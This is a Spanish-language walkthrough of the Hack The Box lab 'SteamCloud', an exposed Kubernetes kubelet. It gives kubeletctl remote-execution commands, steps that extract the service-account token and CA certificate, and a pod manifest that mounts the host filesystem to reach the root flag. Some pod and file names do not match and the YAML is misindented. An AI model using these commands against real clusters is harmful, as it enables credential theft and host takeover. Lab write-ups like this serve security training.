SteamCloud

Dificultad: Fácil
Dirección IP: 10.10.11.133

Enumeración

Realizado inteligencia para recabar la mayor información posible sobre el objetivo.

Puertos

Nmap scan report for 10.10.11.133
Host is up (0.20s latency).
Not shown: 65528 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
2379/tcp open ssl/etcd-client?
2380/tcp open ssl/etcd-server?
8443/tcp open ssl/https-alt
10249/tcp open http Golang net/http server (Go-IPFS json-rpc or InfluxDB API)
10250/tcp open ssl/http Golang net/http server (Go-IPFS json-rpc or InfluxDB API)
10256/tcp open http Golang net/http server (Go-IPFS json-rpc or InfluxDB API)

Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Directorios

Revisando los puertos obtenidos junto con su dirección, se realiza una busqueda de directorios para visualizar cualquier tipo de información.
Por medio de FFUF

1. https://10.10.11.133:8443/
  1) {
        "kind": "Status",
        "apiVersion": "v1",
        "metadata": {

        },
        "status": "Failure",
        "message": "forbidden: User \"system:anonymous\" cannot get path \"/\"",
        "reason": "Forbidden",
        "details": {

        },
        "code": 403
    }

  2) /version
    1- {
          "major": "1",

```
            "minor": "22",
            "gitVersion": "v1.22.3",
            "gitCommit": "c92036820499fedefec0f847e2054d824aea6cd1",
            "gitTreeState": "clean",
            "buildDate": "2021-10-27T18:35:25Z",
            "goVersion": "go1.16.9",
            "compiler": "gc",
            "platform": "linux/amd64"
        }
```


2. https://10.10.11.133:10250/
   1) /stats
   2) /logs
      1- Navegale web directory
   4) /metrics
   5) /pods

Kubernetes

Kubernetes es una plataforma portable y extensible de código abierto para administrar cargas de trabajo y servicios. Kubernetes facilita la automatización y la configuración declarativa. Tiene un ecosistema grande y en rápido crecimiento. El soporte, las herramientas y los servicios para Kubernetes están ampliamente disponibles.
Kubernetes ofrece un entorno de administración centrado en contenedores. Kubernetes orquesta la infraestructura de cómputo, redes y almacenamiento para que las cargas de trabajo de los usuarios no tengan que hacerlo. Esto ofrece la simplicidad de las Plataformas como Servicio (PaaS) con la flexibilidad de la Infraestructura como Servicio (IaaS) y permite la portabilidad entre proveedores de infraestructura.

Usando la aplicación de kubectl, la configuramos para su uso remoto y empezamos a realizar inteligencia sobre el objetivo.
Usando la aplicación kubeletctl, podemos realizar la enumeración del kubernete.

Ataque Usuario

Realizando la enumeración nos damos cuenta que se puede obtener información sobre el kubernete con kubeletctl y ejecutar de forma remota comandos del sistema, así es posible obtener acceso al contenedor y obtener la bandera de usuario.

Haciendo uso de la herramienta Kubelet, podemos enumera el kubernete
• kubeletctl pods -s 10.10.11.133
• kubeletctl scan rce -s 10.10.11.133
• kubeletctl exec "comando ej ls /" -p pod -c container -n nameSpace -s 10.10.11.133
• kubeletctl exec "bash -c bash -i " -p nginx -c nginx -n default -s 10.10.11.133
• No es necesario obtener shell, ya que es posible acceder a la bandera por medio del comando de ejecución kubeletctl exec “ls /root/user.txt” -p nginx -c nginx -n default -s 10.10.11.133

Escalada de privilegios

PAra escalar privilegios, fue necesario empezar a enumerar el kubernete, para identificar el método de ataque y la información que sea posible extraer.
Con ayuda de Hacktricks, vemos que se cuenta con diferentes ataques para escapar o adquirir privilegios de administrador, uno de ellos corresponde a obtener tokens y certificados de acceso del

kubernete para poder crear otro, aprovechando los errores de configuración de estos por parte del equipo de seguridad de la información.

Los comandos son los siguientes:
• kubeletctl exec "ls /var/run/secrets/kubernetes.io/serviceaccount" -p kube-proxy-rr877 -c kube-proxy -n kube-system -s 10.10.11.133 (Es recomendable usarlo sobre el pod del servidor y no un pod de proxy)
  ◇ En este directorio encontramos archivos como el ca.crt, namespace y el token.
  ◇ ca.crt: Es el certificado para verificar las comunicaciones del kubernete.
  ◇ namespace: Indica el espacio del nombre actual.
  ◇ token: Contiene el token del servicio pod actual.
• Obteniendo estos datos, podríamos extraerlos para intentar alguna acción con el pod del kubernete
• Guardamos el token en una variable temporal "export TOKEN=$(kubeletctl exec "cat /var/run/secrets/kubernetes.io/serviceaccount/token" -p nginx -c nginx -n default -s 10.10.11.133)"
• Y lo mismo hacemos para el certificado ca.crt "export CACERT=$(kubeletctl exec "cat /var/run/secrets/kubernetes.io/serviceaccount/ca.crt" -p nginx -c nginx -n default -s 10.10.11.133)"

Cuando ya obtenemos estos datos, podemos usar la herramienta que intentamos al inicio que fue kubectl, pero para poder usarla necesitamos datos de acceso, ¿ya los conseguimon, no?, con eso podemos enumerar el kubernete de una forma más concisa
• kubectl auth can-i --list --namespace=default -s https://10.10.11.133:8443 --certificate-authority=ca.crt --token=$TOKEN Podemos visualizar las acciones que el pod puede ejecutar sobre el kubernete.
• Como ya sabemos que podemos hacer y los datos de acceso y el certificado fueron extraidos del pod con multiples acciones, podriamos intentar crear uno para acceder a la bandera del administrador, siguiendo los pasos en hacktricks
• Extraemos el archivo de configuración del pod kubectl get pod nginx -s https://10.10.11.133:8443 -o yaml --certificate-authority=ca.crt --token=$TOKEN
• Con base a esa información podemos crear nuestro propio archivo, muchas de las opciones ahí presentes es posible dejarlas en blanco para no complicarnos la vida
• Archivo .yaml

```
apiVersion: v1
kind: Pod
metadata:
  name: attack
  namespace: default
spec:
  containers:
        - name: attack
    image: nginx:1.14.2
    volumeMounts:
    - mountPath: /mnt
      name: hostfs
  volumes:
  - name: hostfs
    hostPath:
      path: /
  automountServiceAccountToken: true
  hostNetwork: true
```

Creamos el pod kubectl apply -f attacker.yaml -n default -s https://10.10.11.133:8443 --certificate-authority=ca.crt --token=$TOKEN
Revisamos que este funcionando antes de intentar acceder a el kubectl get pod nginx -s https://10.10.11.133:8443 -o yaml --certificate-authority=ca.crt --token=$TOKEN
Podemos usar kubectl para acceder a la bandera del administrador, pero para mí fue más fácil usar kubeletctl, ya sabía usarlo.
kubeletctl exec "cat /mnt/root/root.txt" -p stranger -c stranger -n default -s 10.10.11.133

Y listo, hemos vulnerado un kubernete :3